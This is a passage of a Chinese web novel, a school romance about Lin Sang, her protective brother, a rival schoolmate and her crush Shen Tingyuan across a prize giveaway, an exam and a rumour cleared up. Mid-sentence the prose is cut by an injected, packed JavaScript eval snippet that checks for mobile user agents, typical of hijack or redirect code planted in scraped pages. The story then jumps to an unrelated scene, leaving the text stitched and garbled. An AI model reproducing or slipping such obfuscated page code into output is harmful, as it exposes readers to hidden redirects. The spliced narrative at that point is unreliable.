林桑一直听着陈雪指挥,快开拍的时候又只顾着看镜头,没注意到身后有人偷偷换了位置。 照片很快拍完,林桑和方倚霏她们道了别就一个人抱着箱子往校门走。 林景已经在门口等他,林桑走过去,柳靳于突然从一侧冒了出来。 “幸运儿专属,什么玩意?” 林桑还没开口,林景先接了话:“让你读书你非去骑猪。” 柳靳于不甘示弱:“你知道你倒是说说这是什么。” “抽奖抽到她了呗。” 柳靳于抬手掀开箱子盖扫了一眼,“这里面都是些她喜欢的玩意你说是抽奖抽的,脑子被驴踢了吧。” “这一看就是哪个喜欢她的人送的。” 林桑:“……” 林桑:“真是抽奖抽的。” 林景蹙眉,沉着声对柳靳于说:“再废话我抽你。” 他说完,接过林桑手里的箱子,一把扯下她背上的书包挎到肩上,丝毫不给柳靳于表现的机会,带着林桑坐上出租车扬长而去。 一六年那会儿,出租车在云亭县还没那么时兴,不是出行第一交通工具,除非提前和师傅说好,一时半会儿根本拦不到。 但柳靳于也是有备而来的,他看着越走越远的车尾,坐上提前找好的出租车,嘱咐师傅尽快跟上。 没人注意到在他们身后站了许久的人。 沈听原从那头收回视线,垂下眼看着手里写有寄语的李子园,转身离开。 7. 第 7 章 正午的太阳高悬在空中,万里无云,阳光灼热,地面被烘得热气腾升。 林桑洗完澡出来就被一股热浪紧紧包裹,她一时之间有些不适应,穿着拖鞋快步跑到树荫下。 奶奶和家里的阿姨出门了,林景估计昨晚又通宵打游戏,楼上到现在一直没动静。 林桑惬意地躺在摇椅上从一旁的石桌上捞起手机,等待头发自然风干。 昨晚到家后她一直都在陪奶奶聊天,聊完就睡下了,现在打开动态一看,清一色都是昨晚的比赛,各个不同的角度,应有尽有。 林桑一路翻着点赞,沈听原的说说夹杂在中间,只单单发了一张图片,要不是备注特殊,林桑差点就忽视了。 照片是他在台上表演时抓拍的,低着头,灯光落在他身上,林桑看了一会儿,把照片保存后又继续往下看。 紧挨在沈听原下面的那条说说,配了两张图片,文案不过短短八个字,却让林桑几度哽咽: ——外套很暖,歌很好听~ 照片上的人…… 是杨思怡。 她身上披着宽大的校服,微仰着头注视着台上低头拨弄着琴弦唱歌的少年。 林桑看着她的昵称,不记得自己什么时候和她加上的好友,她图方便一直都设置了别人直接添加就能加上,按理说加上之后是会有消息提示的,但她没什么印象。 她有些奇怪,自己和杨思怡毫无交集,她为什么会找到她并且加她好友。 林桑退出来,在主页搜索栏打下杨思怡的昵称,对话框里显示她们是上周五成为好友的,加上后那边也没发什么消息过来。 林桑盯着对话框看了一会儿,想要主动询问一番,又不知该如何开口,反复组织了几次语言都觉得不太合适,索性作罢,改了个备注就重新回到空间。 她一遍又一遍地看着沈听原和杨思怡的说说,甚至连底下的每一条评论都看得认真,仿佛这样就能看出来关于他们之间的那些说法哪一个才是真的。 林桑看得认真,楼上忽地有人喊了一声,她迟缓地循声望了过去。 “看什么呢你,喊你半天没反应。” 林景趴在栏杆上,被阳光刺得睁不开眼,他把手里的东西捏做一团,抛到林桑腿上。 林桑的视线顺着他的动作移到腿上,定睛一看,是一百块钱。 “帮我买两瓶饮料回来,冰的。” “热死了,开空调都没用。” “剩下的想要什么自己买。” 林景丝毫不给她拒绝的机会,嘴里嘀咕着这鬼天气睡个觉都不得安宁就趿着拖鞋回了卧室。 林桑把一百块钱理平整,她身上穿的是柳靳于周一送过来的裙子,没兜,只出去一会儿不太想背包,她把手机壳拆下来,将钱放好后才起身出门。 走了没两步,裸露在外的手臂被太阳烤得发烫,红彤彤一片,看起来触目惊心,林桑想了想,折返回去找了一把遮阳伞。 便利店离家不算太远,走五分钟就到。 林桑买完东西出来,抬头看着前方只在一排独栋别墅中露出一个角的房子,突然很想去那个地方看一看。 …… 简欧风设计的独栋别墅还是和过去没什么两样,只不过长时间没人打扫,院子中间积满了落叶,两边种了不少花,但大部分都很娇气,没了人伺候打理,慢慢的只剩下干枯的枝条,杂草占据了大半个花坛,只有角落里的悬铃花长得正盛。 门口印有“鸣桐巷11号”的牌匾模糊不清,林桑踌躇着要不要上前把上面的灰擦一擦。 一只大橘猫突然“喵”了一声从旁边跳出来。 林桑吓了一跳,连连往后退了两步。 橘猫在她面前伸了个长长的懒腰,瞥了她一眼,慢步迈着步伐走到她脚边蹭了两下,慵懒地在她脚上躺下了。 躺……下了。 林桑愣了两秒,低头看着赖在她脚上不走的橘猫,忍俊不禁:“你在碰瓷啊?” 橘猫慢悠悠地翻了个身,林桑拿它没办法,缓缓蹲下身,把东西放在地上,试探地在它身上轻轻抚了抚。 橘猫舒服地闭上了眼。 这是彻底赖上她了。 林桑对它的赖皮无可奈何,一手抚着它,一手将遮阳伞调整了位置替它挡住阳光。 有人站在二楼阳台上,垂眸看到的就是这样一番景象。 少女一身素色吊带长裙,蹲在地上低着头,轻柔地抚摸着睡在她脚上的橘猫,半干的头发将她的脸掩去一半,却不妨碍他清晰地看到她脸上甜美的笑。 林桑注意力都放在享受她轻抚的橘猫上,便没有注意到那人急速下了楼。 倏地,耳边响起一道脆生生的口哨声。 林桑扭过头,柳靳于脚蹬一辆黑色山地自行车停在路边,一张脸藏在遮阳帽下,微仰着下巴朝她身侧的房子努努嘴说:“怎么想起过来了?” “买东西,就想过来看看。” 柳靳于点头,瞅见睡在她脚上的橘猫,疑惑道:“什么时候养的?昨晚我怎么没看到。” “不知道是谁的,”林桑说,“突然跑出来就睡我脚上了。” 柳靳于手撑在把手上,托着脸:“哦,碰瓷啊。” 他冲橘猫吹了个口哨:“去把你主人叫来。” 他最后一个字刚说完,橘猫像是听懂了似的,倏然起身从林桑手下奔了出去。 林桑无意识地抓了一把,落了个空。 橘猫从围栏钻进去后就没影了。 柳靳于笑:“还挺通人性。” “走吧,”他看着林桑,拍拍自行车后座,“正好要上你哥那打游戏,带你一程。” 自行车慢悠悠行驶在沥青路面上,林桑侧坐在柳靳于身后,打着伞目视着前方。 脑海中浮现出突然出现又突然逃窜的橘猫,她回过头。 方才她停留过的位置上站了一个男生,低着头看着在他脚边打转的橘猫。 男生身上是一件深蓝色T恤,下搭一条黑泥裤,衬得他一双腿修长笔直,因为头上带了蓝色鸭舌帽,林桑没看到他的脸。 看了一会儿,她莫名觉得有些熟悉,想到他家就在隔壁,林桑心里隐隐有了一个猜测,等她反应过来后想再细看时,那个身影早已化成一个小小的圆点。 她不禁想,他是橘猫的主人,还是和她一样被“碰瓷”的路人。 …… 柳靳于一进门就拎着林桑买的饮料上楼找林景打游戏去了。 奶奶和阿姨还没回来,林桑一个人看了会儿电视,陡然想起被林景放在玄关的箱子。 她关了电视,起身走到玄关,抱着箱子坐回沙发上。 打开一看,里面除了李子园和一些零食,还有一个小黄人Bob的玩偶。 也难怪昨晚柳靳于会误会。 林桑把零食放到桌上,拿起玩偶回了卧室。 林桑站在床前,乳白色的床头上堆满了不同大小的小黄人Bob玩偶,有些实在太大,放了床上就没她的容身之地,只能全都堆在床边的地毯上。 数量太多,她也不记得都是谁送的,只知道他们因为她喜欢,都往大了送,可玩偶太大的话,晚上抱着睡觉没那么舒服,被子里总会留缝。 现在手上这个就很好,小小一只,抱在怀里正合适。 也不知道是谁舍得把这么可爱的玩偶当做赠予奖品。 林桑爱不释手,抱着它倒进柔软的床褥里,拿出手机打开相册,点开私密相册里的视频播放。 白色纱窗悠扬飘着,一首歌很快结束,林桑只得重新点播放。 点了几次,有点懊恼。 林桑想起以前听歌时在评论区看到的一个方法,她凭着记忆力开始打开文件管理对着视频一顿操作。 终于,几次下来,她成功了。 音乐里弹出一首名字很乱很长的歌曲,歌手显示为未知歌手,全歌时长五分钟左右,林桑点开听了一遍,和视频中的无异。 她点了单曲循环后退出来,下床走到书桌前,开始写周末作业。 * 周天一早,林桑回了趟四洛巷。 路过巷口时,坐在巷口边喝茶的老张喊了她一声:“老刘家孙女!” 林桑脚步一顿,扭头,老张吸溜了两口茶说:“过来过来。” 林桑瞥了眼他桌子上的玻璃罐,正好和一条蛇对上眼,她一哆嗦,连忙撇开眼。 “您说吧,我站这能听到。” 老张嘿了一声,笑道:“怕什么,我泡这些玩意的时候你都还没出生呢。” “早泡死了,还会跑出来追着你咬不成。” 道理她都懂,就是这些东西泡了这么多年,一直没什么变化,细想起来怪渗人的。 林桑眼睛一瞬不眨盯着玻璃罐,小心翼翼地挪到老张旁边。 老张看着小马扎示意她坐。 小马扎离摆放玻璃罐的桌子太近,林桑用脚勾远了些才坐下。 “吃好几天药了吧?” 林桑掰着手指一算:“两周了。” “没用吧?” “你怎么知道?” 老张一副看透一切的表情:“手伸过来。” 林桑也没犹豫,乖乖把手伸了出去。 老张把完脉,从一旁已经生了些绣的铁箱子里取出一个布袋打开。 里面插了一排银针。 老张笑眯眯地道:“怕不怕针?” 林桑盯着那一排细长的银针,吞了吞口水:“有点。” “那就把眼睛闭上。” “哦。” 林桑应完声,乖乖闭上眼。 手上没有传来预想中的痛感,倒是酥酥麻麻的。 谈不上舒服,但好在不痛。 …… 扎完针后,林桑没什么明显的感受,老张说仙丹都得有个反应时间呢,让她回家等着。 林桑翻着书包要付钱,被老张追赶:“别赖我这,忙着呢。” “我找钱。”林桑说。 老张哼了一声:“小屁孩能有什么钱。” 林桑摸出钱包:“我有。” “不要。”老张很有原则,“小屁孩的钱我不收,改天我找老刘要。” 林桑:“……” 林桑:“您真不收啊?” 老张一脸不耐烦,又要赶她走,林桑收起书包起身:“那我可真走了。” 老张低头捣鼓着药,没理会。 他臭脾气也不是一天两天了,林桑转身刚要迈出去,身后响起他中气十足的声音: “要是没用,下周放学回来再来一次!” 林桑无奈地笑了一下:“知道啦。” * 一直到林桑回了学校,她的肚子都没任何反应。 老张也没告诉她这个反应时间具体是多久,本来打算把药断了,照目前的形式来看,还是只能什么方法都试试,说不定就瞎猫碰上死耗子了呢。 这么想着,林桑从桌肚里拿出已经打了死结的塑料袋,将袋子扯开后拿出一包中药出了教室。 她今天没去副食店,所以回学校的时间很早,班上没什么人,垃圾桶旁空荡荡的,也没林景监督,可以有大把的时间去做心理建设。 但喝了两周,也不知是习惯了,还是味觉麻木了,她现在可以不做心理建设就将药一口气喝完。 林桑坐在垃圾桶前,仰头将最后一滴药水吸进嘴里,余光里猝然出现一个人。 是沈听原。 林桑捏着药袋的动作顿住,沈听原也明显一愣。 不过他反应比她快得多,很快便有了动作。 他拆开手里的棒棒糖叼进嘴里,把糖纸扔进垃圾桶后,视线下垂,落在林桑手上。 下一瞬,林桑的视野被一支草莓味棒棒糖占据。 伴随着它而来的,还有沈听原轻柔的嗓音:“吃个糖,能解苦。” 林桑大脑当场泵机,见她没接,沈听原轻声问:“是不喜欢这个口味?要不换一个?” 他坦荡的姿态让她有些无地自容,大脑重新开始运转,她扔了中药袋接过棒棒糖,抿唇道谢。 沈听原说了不客气后就转身回了教室。 林桑心跳迟缓地开始加速,她闭眼缓了一会儿,小心翼翼地将棒棒糖放进裤兜里,努力维持着自然的姿态回了教室。 林桑在教室待了没多久,方倚霏她们也回来了。 方倚霏满脸通红走在前面,鲁琳和适珈蓝脸上憋着笑跟在她身后。 林桑起身给方倚霏让了位,方倚霏一坐下就趴在桌上,吓得林桑一动不敢动。 见她这样,鲁琳和适珈蓝终于憋不住,纷纷笑了出来。 方倚霏烦躁地抓了抓头发,抬起头啊了几声说:“你们烦死了!” 她的语气听起来完全不是生气时的样子。 林桑有些摸不着头脑,试探着问:“这是……咋啦?” 适珈蓝四处看了看,小声说:“还记得那天晚上第一个中奖的那个男生么?” 林桑点头:“记得。” 男生那一通大胆的操作,她想忘记都难。 …… 周五晚上,林桑拍完合照离开后,其他人还留在原地拍了会儿照。 方倚霏和鲁琳单独合完照,一转头,和身后的男生撞上视线。 男生怀里抱着一个纸箱,纸箱上面的“幸运儿专属”几个字格外醒目。 男生当着全校的面说要将奖品送给她的时候,她待在舞台后方,加上灯光昏暗,她便没有看清男生长什么样。 可视线相碰的那个瞬间,直觉告诉她,这就是那个男生。 对方显然是没料到她会突然转身,惊了一瞬,耳上腾地染上一片赤红,局促地挠了下后脑勺说:“今晚冒犯到你了,实在不好意思,当时脑子一热,说话做事都没个分寸。” 男生说着,朝她鞠了个躬,语气真诚:“实在抱歉。” 方倚霏被他突如其来的动作打了个措手不及,她和鲁琳面面相觑,愣了两秒才说:“没事没事,你当那么多人面夸我,我确实是挺不好意思的。” 她顿了顿,笑道:“不过谈不上冒犯,不用道歉。” 男生闻言抬起头,露出一个憨厚的笑:“那……那就行。” “那我就不打扰你们拍照,先走了,再见。” 男生道完别就匆忙离开了,方倚霏也只当这是一个小插曲。 手机是在晚饭过后下发的,比赛结束后又被收了回去,周六早上结束两节自习拿到手机时,方倚霏一打开Q/Q就发现有条好友申请。 她通过后,那边没发消息过来,赶着出校门买东西,她转头就忘了这事。 直到今天下午回教室时,在楼下莫名被人塞了一袋零食,方倚霏吓得连连后退了几步,张着嘴看着男生说不出话。 旁边有人开始起哄,方倚霏害羞得涨红了脸,慌乱间把东西塞回男生手里就三步并作两步上了楼。 适珈蓝和鲁琳你一句我一句讲个不停,说到激动处,还要角色扮演来个情景重现。 方倚霏捂着一张通红的脸,制止几次没用,索性放弃了。 林桑听着,忍不住轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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发生转变是在上高一后一个月,刘乔千难得有时间回云亭,叫上许久不见的几个好友聚了个会。 林桑那天去了鸣桐巷陪奶奶,傍晚接到刘乔千的电话,说是有几个阿姨给她带了礼物,想见一见她。 聚会地点是一个山庄,有点偏,出县城后还有十多分钟车程。 奶奶不放心她一个人过去,就让林景送她,林景把她送到门口就想走,恰好被到门口接她的刘乔千碰上,让他也留下一起吃晚饭。 林景平时虽然喜欢捉弄她,和她斗斗嘴什么的,但关心起她来确实让人没话说。 包一直没让她提过,开饮料拿吃的都是他来,林桑只负责当个甩手掌柜就行。 林景还时不时会陪在场的几个小朋友玩玩游戏,他这人向来会说话,花样又多,一群小朋友被他哄得围在他身边一口一个大哥哥。 一群大人看在眼里,对林景赞不绝口,在这种场合被夸惯了的柳靳于一下子被冷落,铆足了劲要跟林景一争高下。 可大人之间的聚会不频繁,柳靳于就借着问她问题隔三差五在周末跑来找她,碰上林景带她出去吃饭,他也会厚着脸皮跟着去,林景怎么对林桑的,他就有样学样,明里暗里和林景较劲。 …… “所以,他是为了跟你哥一较高下才对你这么体贴的?” 适珈蓝扯了扯唇角:“活了十多年,第一次这么无语。” “也不能这么说吧。”鲁琳思索着说,“人都有好面子的时候,他可能当时落差太大,觉得自尊心受挫了,所以就想找机会把面子讨回来。” 林桑双手托着脸,闻言道:“你说对了,他一开始就是这么想的,不过被我发现了,我还说了他一通来着。” 适珈蓝若有所思,“那他现在的这些行为……” “哎呀,笨啊你。”鲁琳打断她,“他跟林景现在关系也挺不错的,说不定人早就不想较劲了,只是习惯了,把林桑当亲妹妹来照顾了呢。” 林桑认同地点了点头,适珈蓝左看看右看看,稀里糊涂地跟着她点了下头才说:“诶,确实哈。” 班上同学陆陆续续都回来了,有人已经开始挪桌子换起了座位,话题就此揭过。 无人注意到在窗口边停留了许久的身影快速离开。 把桌子往后移的时候,方倚霏看向林桑,脸上带了歉意,小声道:“谢谢。” 林桑轻微摇头:“不客气。” * 日子如同被人开了倍速,一转眼林桑已经转到一中半个多月。 在新的一周,林桑“喜提”她来到一中的第一场考试。 月考统共两天,安排在周四周五。 周三傍晚,教学楼前的空地摆放了一个公示栏,上面是这次月考的考场安排。 林桑在一中没有成绩记录,本以为自己会是最后一个考场,没承想一中的考场向来都是随机匹配,偶尔才会按成绩来排。 吃过饭后,林桑跟着方倚霏她们去看考场。 因为学校教室和监考老师有限,所以高一和高二的安排在一个考场,高三的则是文理科交叉。 公示栏面前围了不少人,林桑站在侧边随意扫了一眼就看到自己的名字,还有她的同桌—— 杨思怡。 她静默地看着,心一紧,没来由有些心虚。 人散了不少,方倚霏拉着林桑走到公示栏前,她凑在表前看了一会儿,惊喜地指着林桑的名字说:“哇塞,你同桌是杨思怡诶。” 林桑笑了一下,正好找到方倚霏的考场了,她岔开话题道:“你在这。” 方倚霏立马凑过来:“我瞅瞅。” 确认好考场后,林桑和方倚霏拿着书找了个安静的角落开始背书。 晚自习结束后,班委开始组织布置考场,不少人都收拾了书往外搬。 走廊不让摆太多书,好在他们班比较幸运,教室位于最边缘,所以有个杂物室,还有个小拐角专门用来放扫把垃圾桶什么的,因为处于盲区还可以放点书,就不用像其他班那样需要把用不到的书搬回宿舍。 用不到的书林桑在下午下课后就基本搬到了杂物室里,能用上的则放在纸箱里,打算收拾完放到走廊。 她收完东西,抬眼发现柳靳于挎着书包出现在门口,好在有人站在门口贴考场座次名单,他被人挡住,没注意到她。 为了避免误会越来越深,林桑抬起放在地上的纸箱往后门走。 她低着头,快到门口时,和侧边的人撞了一下。 林桑连忙转过头道歉,那人和她同时开口。 “对不起。” “抱歉。” 沈听原低头,视线落在她怀里的箱子上:“我帮你吧,当赔罪了。” “不……” 林桑话刚开了个头,怀里一空,沈听原已经抱着箱子出了教室。 林桑怔在原地,沈听原替她把箱子放好后,还特意站在窗口给她指了位置。 那一瞬间,无边夜色下,他比挂在枝头的明月和空中闪烁的星星还要耀眼。 林桑便没来得及和他道谢,许是前门一直有人,柳靳于吊儿郎当地穿过走廊往后门走来。 “你书呢?” “搬完了。” “速度还挺快,那我走了啊。” “好。” 林桑应完声再去看,窗边早没了沈听原的身影。 8. 第 8 章 隔天跑早操前,林桑总觉得小腹坠胀难忍,但没一会儿就消散了,加上早操马上开始,她也没在意。 买完早点回教室的路上,那股坠胀感又涌了上来,且以最快的速度演变为绞痛。 之前扎了针一直没反应,上周末她回去的时候又被老张喊住扎了一次。 本来没抱什么希望,现在倒好,赶上考试了。 林桑去完厕所回来,方倚霏从书包里摸出一片暖宝宝递给她:“赶紧贴上,会舒服点。” “你说你这姨妈是不是喜欢凑热闹,之前又是扎针又是喝药怎么都没请来,现在被一场月考给请来了。” 林桑拆了暖宝宝贴好,下巴抵在桌沿,担忧地说:“但愿一会儿考试的时候别折磨我。” “没事,要是实在痛就和老师说一声,月考没那么严的。”方倚霏揉了揉她的头说。 林桑无力地点点头:“好。” 早自习结束后,林桑跟着同寝室的一个女生一起去了考场。 考场门口围了不少人在看座次表,等人散了些,林桑和女生才上前。 女生座次是一,正好就在门口,她放好笔袋后帮着林桑数了数教室里的桌子,然后指着第三组倒数第二排说:“你应该在那。” 林桑过去一看,还真是,她和女生道完谢刚坐下,凳子被人拉了一下,旁边站了个人。 她抬眼,来人冲她一笑。 一股说不清的别扭感夹杂着几分心虚慢慢侵蚀全身。 林桑硬着头皮也笑了一下,随后低头拿起桌上的笔袋把笔都拿出来,开始一支一支打开检查。 身侧那人坐下,一股淡淡的香味袭来,方才那种奇怪的感觉更甚了几分,林桑不自觉坐直了些。 与此同时,前面有人坐下,许是和杨思怡认识,女生一坐下便转过身和杨思怡聊天,聊着聊着,女生提到之前的“展风采”大赛。 “学姐,那天晚上那首歌不会是他专门给你唱的吧?” 她这话一出,旁边聊天的几个女生也好奇地凑了过来。 那天晚上唱歌的人很多,但大家好像都心知肚明女生口中的那个“他”是谁。 林桑捏着笔,呼吸慢了几分。 女生眉眼间染上期盼,杨思怡没有很快回答,林桑一颗心扑棱着,精力都集中在左耳上,生怕错过杨思怡说出的每一个字。 片刻后,耳边响起杨思怡低浅的笑声:“算是吧。” “咚”的一声,林桑扑棱着的心撞上巨石,脆弱在坚硬面前不值一提。 碎片飘散在空中,片刻后落了一地。 问话的女生激动道:“什么情况啊,你之前不是说喜欢的不是他,这是又要反转的节奏啊。” 杨思怡似是不太理解,困惑地问:“反转什么?” 女生语气激动,朝周围看了看,压低嗓音直白地说:“你和沈听原啊,是在一起了?” 杨思怡仿佛听到了什么荒唐的事一般,不可思议地说:“我们怎么可能在一起,他是我堂弟。” 说完,她又补了一句:“亲的,亲到不能再亲的那种。” 围观的几个女生面面相觑,有些尴尬,有人说:“之前也没听说你们是姐弟,看你们最近又经常在一块,就有人传又反转了。” “对啊,大家都说你是追游书涧途中和沈听原接触多了,培养出感情来就换目标了。” “主要是你们长得也不像……” “……” 几个女生你一言我一语,听得杨思怡哭笑不得:“堂弟嘛,再像能像到哪去,而且他像他妈妈要多一些。” “最近经常待一块是他有事求我,我倒是没想到之前的谣言会被人拉出来添油加醋。” “他可没女朋友啊,要是被他知道了,以后指定不会帮我追人了。” 杨思怡双手合十:“拜托各位,听到有人说起的时候,帮我解释解释,不然光靠我一张嘴不知道得解释到什么时候。” 几个女生应得很快,杨思怡从笔袋里取出几个红色的小福袋递给她们:“这个就当作谢礼。” 她们的对话对于林桑来说,信息量过大,心情像是坐了过山车一般,久久难以平复。 她一手捏着笔,一手捏着笔盖,一时之间竟忘了合上。 脑子里乱成麻,她木然盯着桌面出神。 倏地,一抹红色在眼前晃过,林桑视线逐渐聚焦。 那是一个红色的小福袋,上面用金线缝了四个大字—— 逢考必过。 杨思怡把福袋放到她面前,俏皮地朝她眨眨眼说:“记得帮帮忙呦。” 林桑抿唇,好半天才应:“啊,好。” 监考老师拿着试卷进了教室,旁边的几个女生都回了自己的位置,林桑合上笔,打开笔袋准备把多余的笔放进去,身侧传来杨思怡的声音:“哇,你这个笔好可爱。” 林桑带的大都是普通的中性笔,只有一支笔杆上印有小黄人,笔帽也是小黄人的笔比较特殊。 “你说这个吗?” “对,我在文具店都没见过。” “那送你了。” “送我?”杨思怡笑,“这么可爱,送我了你怎么办啊。” “这个笔我有一盒的,”林桑说,“而且,你刚刚送我福袋,我也没什么好送你的。” 杨思怡笑意更深:“谢谢,那我就不客气了啊。” 林桑低声应:“不用谢。” * 林桑答完题还剩半个多小时的时间,因为不允许提前交卷,她又把试卷和答题卡核对了几遍。 也不知道具体核对了几次,教室里的广播才缓缓响起。 老师收完卷子后,林桑拿起笔袋起身,“啪”的一声,有什么东西落在地上。 林桑还没反应过来,杨思怡已经蹲下身,眼疾手快地把地上的东西捡起来替她贴好。 林桑有些尴尬,好在旁边没人注意到。 “谢……谢谢。” 她耳后已经红透,声音如蚊呐,杨思怡轻轻地在她肩头拍了拍:“没事的,校服裤子面料滑,贴这个特别容易掉。” “一会儿出去记得按着点。” “好……” …… 林桑的考场在高二教学楼,方倚霏则在高一教学楼,上两层楼就到,等她回到教室,方倚霏已经在座位上了。 见她回来,方倚霏又拿了一个暖宝宝递给她:“早上那个已经不热了吧,换一个。” 林桑把几分钟前的事和她复述了一遍。 方倚霏笑得一颤一颤的:“哈哈哈哈,你说她捡起来不是递给你,是直接帮你贴肚子上的?” “不行了,我脑子里已经有画面了。” 林桑:“……” 方倚霏笑够了,安慰她道:“没事,大家都是女孩子,她懂的啦。” “没什么好尴尬的。” * 下午考完试吃过晚饭后,林桑回到教室发现桌面上有两盒玫瑰红糖和一盒暖宝宝,想到下午考试前在楼梯口遇到林景,林景见她脸色不太好问了一嘴,这些应该都是他买的。 林桑没多想,将东西都收进抽屉里,随后把书包里留的几本书都拿了出来,绕到后门去换明天考试要用到的课本。 昨晚沈听原给她指过位置,林桑一下就找到了自己的纸箱。 找好课本后,林桑刚要起身,一阵穿堂风卷过。 旁边箱子上随意放了一本语文必修3,封面随风而动,林桑一眼便瞥见了上面龙飞凤舞的三个字—— 沈听原。 周围没人,林桑蹲在地上,看着上面的名字,再看看两个紧挨在一起的纸箱,忍不住弯唇。 林桑没待太久,把书放好后,她就跟着方倚霏她们下楼去了经常背书的地方。 她下楼后,有人蹲在她停留过的位置上,指尖轻轻一拨,课本顺势滑落在她的纸箱里。 …… 隔天早上考英语,林桑考完刚到楼下就被方倚霏一把拽住,方倚霏把她上上下下检查了个遍才上气不接下气地说:“还好没事。” 林桑不明所以:“出什么事了?” “我听人说有个女生考试前痛经痛到在楼下昏倒了,被人背着去医院的,我以为是你。” 还不待林桑说什么,方倚霏就挽着她往小卖部走:“我跑着来的,看在我这么关心你的份上……” “我买单。”林桑笑着打断她。 买完东西出来,林桑说不知道那个女生怎么样了,方倚霏仰头灌了大半瓶饮料说:“我刚去里面拿饮料的时候听人说了,那个女生我有点印象,之前就出现过上课的时候疼到昏厥的情况。” “说是每次都得打针,已经打出瘾来了。” “这会儿估计也就打针然后好好休息才能缓过来了。” 林桑点点头,正好看到鲁琳和适珈蓝拿着碗从教学楼下来,她朝她们招了招手,鲁琳和适珈蓝见她没事,也都松了口气。 几人有一搭没一搭聊着去食堂,临近门口时,林桑不经意一瞥,就见沈听原和一个女生站在食堂门口侧边,女生说着什么把手里的外套递给沈听原。 沈听原接过后,没即刻离开,站在原地和女生说话。 食堂人越来越多,林桑没来得及多看,被方倚霏拽着跑到档口抢位置。 等打完饭出来,哪还有沈听原的身影。 …… 因为高一要考的科目多,一中采取了一月考主科加文科,一月考主科加理科的模式。 两天的考试快如湍急的流水,林桑考完最后一科地理回到教室时,教室里已经热闹得像是菜市场。 不少人都搬着椅子和凳子在教室里跑来跑去,林桑让了几次才回到座位。 “要换组。”方倚霏说,“中间两组对调,我们和边上那组换。” “现在太乱了,咱两坐会儿吧。” 林桑点点头:“好。” 耳边桌椅摩擦地面的声音至少持续了十分钟才消停一些,中间两组换得很快,都已经开始从外面搬书开始收拾。 林桑和方倚霏也起身抬着桌子跟着后面的人一点一点往边上挪。 两人把桌子搬到最后一排那时,另外一边有人搬着桌子过来,林桑和方倚霏把桌子放到一边给人让路,等人走后,正要去搬桌子,林桑就被人撞了一下。 “没事吧?” 对上沈听原担忧的神情,林桑摇头道:“没事。” “真的不好意思,你们的桌子我来搬过去吧,就当是赔礼。”沈听原说着已经伸手去抬桌子。 林桑摸了摸被撞的肩膀,那一下其实轻到可以忽略不计。 不过,他帮她搬桌子这种事,以前没有过,以后恐怕也不会再有。 她没阻拦,究竟是不想还是忘了,她没去深想。 方倚霏看她没拒绝也没说话,就由着沈听原帮她们搬了桌子。 林桑看着那个颀长挺阔的身影把桌子摆好后出了教室,手不自觉拢了几分。 知道他没女朋友后,她好像也没想象中那么高兴。 毕竟,那次“展风采”大赛被人戏言是“散发个人魅力吸引异性”大赛。 喜欢他的人本就多,那场大赛之后他更是因为自我调侃和那张让人挑不出毛病的脸收获了一大批新的追求者,时不时就会有人到教室门口打听他,还会有人买了东西偷偷塞进他桌肚里。 沈听原对她来说,如同空中飞舞的彩色蝴蝶,她踮起脚尖想要触摸,却被她无法预估的后果牢牢拽住。 她没迈出的那一步,总有人会不受阻拦,不顾后果,勇敢地迈出…… 现在没有,可未来总是存在太多的变数,谁都说不准。 * 老师们效率很高,第一节晚自习结束就阅完卷不说,连名单都弄好了。 李宇栖接到通知后去办公室领了成绩单,一共四份,正好一个组一份传着看。 第一排的同学率先拿到成绩单,有人等不及,也起身凑上前去。 两秒后,一群争先恐后的人都停了下来,齐刷刷往林桑的方向看了过来。 林桑虽然对这次的月考有十足的把握,但每个地方都卧龙藏虎,她不太确定自己能在一中排到第几名。 适珈蓝抢到了位置,看了眼上面的成绩和排名,朝林桑喊:“总分675,全班第一,年级第一!” “超第二名整整15分!” “你管这叫十项全不能,林桑,你骗得我好惨啊!” 她话音一落,引起哄堂大笑。 “她从珍珠班来的,录取分数线就比在坐各位高呢,再差能差到哪去。” “英语145,太恐怖了,我连她零头都不到。” “政治92更恐怖好吧,之前出过的最高分也才80……” “……” 还有人看热闹不嫌事大:“班长,第一不保啊,有压力不?” 李宇栖懒散地往后靠着,把玩着手里的魔方,闻言抬头:“她中考那会儿发挥失常都全县第三,我想保也难啊。” 班上的人看着林桑的成绩连连感叹,也就晚自习课间那点时间,全年级都知道常年霸占年级第一的李宇栖被他们班刚转来不到半个月的女生压了一头。 当晚上自习的老师对林桑夸了又夸,哪怕过了个周末回学校,这种状况也一直在持续。 每个老师讲课前都要先下发答题卡,念完名字后对着答题卡分析一通才让人上讲台把答题卡领回去,该夸的该骂的一个不落。 尤其是周一下午的英语课上,有人做题马虎,不是答题卡涂漏了就是送分题出错,老师骂一句要拿林桑出来夸一句,林桑恨不能找个地洞钻进去。 批评完这些不认真答题的,又轮到了成绩下降严重的。 “沈听原,三十分的听力你考九分,是睡着了还是英语听力对你来说突然深奥了?” 沈听原缓缓站起身,面露难色:“没听懂。” 英语老师沉默片刻,把他的答题卡看了一遍说:“课后多听听力,实在找不到方法和林桑请教请教,她听力满分。” 林桑下意识往沈听原的方向看过去,两人的视线隔空相撞,林桑握着笔的手不自觉紧了几分。 她克制住想要急速回头的冲动,和其他同学一样,镇定地装作看戏一般望着他。 几秒后,沈听原的声音在寂静的教室响起:“好的老师,我会好好请教的。” 林桑垂眼看着试卷,耳尖悄然发热,她用手背贴了几次,那股灼热才慢慢褪了下去。 …… 一天的课老师都在讲解试卷,林桑吃过饭后准备下楼去背书时才猛然发现她的书箱里竟有两本语文必修3。 以为自己眼花,她连忙拿出来,一看两个熟悉的封面,差点傻眼。 她小心翼翼地翻开,上面的名字她第一天考完试去拿书时才见过。 明明书不是她拿的,却像是做了贼一般心虚。 林桑慌乱地一把合上课本,起身往教室看了过去,发现沈听原的位置上空落落的。 想起他经常背书的地方离她去的地方不远,林桑犹豫再三,还是把他的课本给带上才下了楼。 林桑背了一会儿书,沈听原才捏着一本课本慢悠悠地从台阶上下来。 林桑把书抬高,借着余光看他找了个小石凳坐下,她抱着怀里的书往那边走了几步,又脚尖一转原路返回。 就这么转来转去背了将近十分钟,林桑咬咬牙,心想这次一定要走到头,走到他身边。 然而,出师未捷身先死。 